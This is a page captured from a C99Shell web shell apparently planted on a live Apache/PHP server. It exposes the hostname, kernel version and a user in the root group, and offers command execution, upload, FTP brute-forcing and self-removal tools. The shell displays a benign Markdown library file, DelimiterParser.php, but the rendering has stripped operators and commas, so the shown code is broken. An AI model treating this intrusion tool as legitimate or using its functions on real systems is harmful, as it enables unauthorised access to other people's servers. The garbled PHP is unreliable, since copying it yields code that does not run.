!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/league/commonmark/src/Delimiter/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DelimiterParser.php (3.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
League\CommonMark\Delimiter;

use 
League\CommonMark\Delimiter\Processor\DelimiterProcessorCollection;
use 
League\CommonMark\Delimiter\Processor\DelimiterProcessorInterface;
use 
League\CommonMark\Node\Inline\Text;
use 
League\CommonMark\Parser\Inline\InlineParserInterface;
use 
League\CommonMark\Parser\Inline\InlineParserMatch;
use 
League\CommonMark\Parser\InlineParserContext;
use 
League\CommonMark\Util\RegexHelper;

/**
 * Delimiter parsing is implemented as an Inline Parser with the lowest-possible priority
 *
 * @internal
 */
final class DelimiterParser implements InlineParserInterface
{
    private 
DelimiterProcessorCollection $collection;

    public function 
__construct(DelimiterProcessorCollection $collection)
    {
        
$this->collection $collection;
    }

    public function 
getMatchDefinition(): InlineParserMatch
    
{
        return 
InlineParserMatch::oneOf(...$this->collection->getDelimiterCharacters());
    }

    public function 
parse(InlineParserContext $inlineContext): bool
    
{
        
$character $inlineContext->getFullMatch();
        
$numDelims 0;
        
$cursor    $inlineContext->getCursor();
        
$processor $this->collection->getDelimiterProcessor($character);

        
\assert($processor !== null); // Delimiter processor should never be null here

        
$charBefore $cursor->peek(-1);
        if (
$charBefore === null) {
            
$charBefore "\n";
        }

        while (
$cursor->peek($numDelims) === $character) {
            ++
$numDelims;
        }

        if (
$numDelims $processor->getMinLength()) {
            return 
false;
        }

        
$cursor->advanceBy($numDelims);

        
$charAfter $cursor->getCurrentCharacter();
        if (
$charAfter === null) {
            
$charAfter "\n";
        }

        [
$canOpen$canClose] = self::determineCanOpenOrClose($charBefore$charAfter$character$processor);

        
$node = new Text(\str_repeat($character$numDelims), [
            
'delim' => true,
        ]);
        
$inlineContext->getContainer()->appendChild($node);

        
// Add entry to stack to this opener
        
if ($canOpen || $canClose) {
            
$delimiter = new Delimiter($character$numDelims$node$canOpen$canClose);
            
$inlineContext->getDelimiterStack()->push($delimiter);
        }

        return 
true;
    }

    
/**
     * @return bool[]
     */
    
private static function determineCanOpenOrClose(string $charBeforestring $charAfterstring $characterDelimiterProcessorInterface $delimiterProcessor): array
    {
        
$afterIsWhitespace   \preg_match(RegexHelper::REGEX_UNICODE_WHITESPACE_CHAR$charAfter);
        
$afterIsPunctuation  \preg_match(RegexHelper::REGEX_PUNCTUATION$charAfter);
        
$beforeIsWhitespace  \preg_match(RegexHelper::REGEX_UNICODE_WHITESPACE_CHAR$charBefore);
        
$beforeIsPunctuation \preg_match(RegexHelper::REGEX_PUNCTUATION$charBefore);

        
$leftFlanking  = ! $afterIsWhitespace && (! $afterIsPunctuation || $beforeIsWhitespace || $beforeIsPunctuation);
        
$rightFlanking = ! $beforeIsWhitespace && (! $beforeIsPunctuation || $afterIsWhitespace || $afterIsPunctuation);

        if (
$character === '_') {
            
$canOpen  $leftFlanking && (! $rightFlanking || $beforeIsPunctuation);
            
$canClose $rightFlanking && (! $leftFlanking || $afterIsPunctuation);
        } else {
            
$canOpen  $leftFlanking && $character === $delimiterProcessor->getOpeningCharacter();
            
$canClose $rightFlanking && $character === $delimiterProcessor->getClosingCharacter();
        }

        return [
$canOpen$canClose];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--